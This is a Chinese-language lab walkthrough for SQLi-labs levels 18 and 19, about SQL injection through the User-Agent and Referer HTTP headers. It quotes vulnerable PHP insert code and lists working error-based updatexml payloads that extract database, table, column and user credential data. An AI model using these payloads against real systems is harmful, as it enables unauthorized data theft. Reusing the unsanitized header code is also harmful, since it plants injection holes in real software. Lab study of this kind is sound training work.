SQLi-labs（Less-18、Less-19）

Less-18

POST - Header Injection - Uagent field - Error based

• POST头User-Agent注入
• 在页面username、password处都没有发现注入点。
• 查看源代码：

//
$uagent = $_SERVER['HTTP_USER_AGENT'];		#HTTP请求头的User-Agent
$IP = $_SERVER['REMOTE_ADDR'];		#获取IP

//对uname和passwd都做了像Less-17一样的过滤
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);

//将uagent、IP、uname都插入了数据库
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";

• 修改IP地址不是非常方便，但是User-Agent的修改确实比较方便的，所以可以从User-Agent入手。
• 为了方便起见，在BurpSuite中的Repeater模块操作。
• 首先查看一下数据库名：
  
• 然后通过' and updatexml(1,concat('~',(【payload】)),1) and '进行注入

//爆库名：
' and updatexml(1,concat('~',(database())),1) and '
//爆表名：
' or updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) and '
//爆列名：
' or updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) and '
//爆数据：
' or updatexml(1,concat('~',(select * from (select concat_ws('~',id,username,password) from users limit 0,1) a)),1) and '

• 注意，前提要保证账号和密码是正确的。

Less-19

POST - Header Injection - Referer field -Error based

• 与Less-18类似，只不过注入点在Referer，方法仿照Less-18：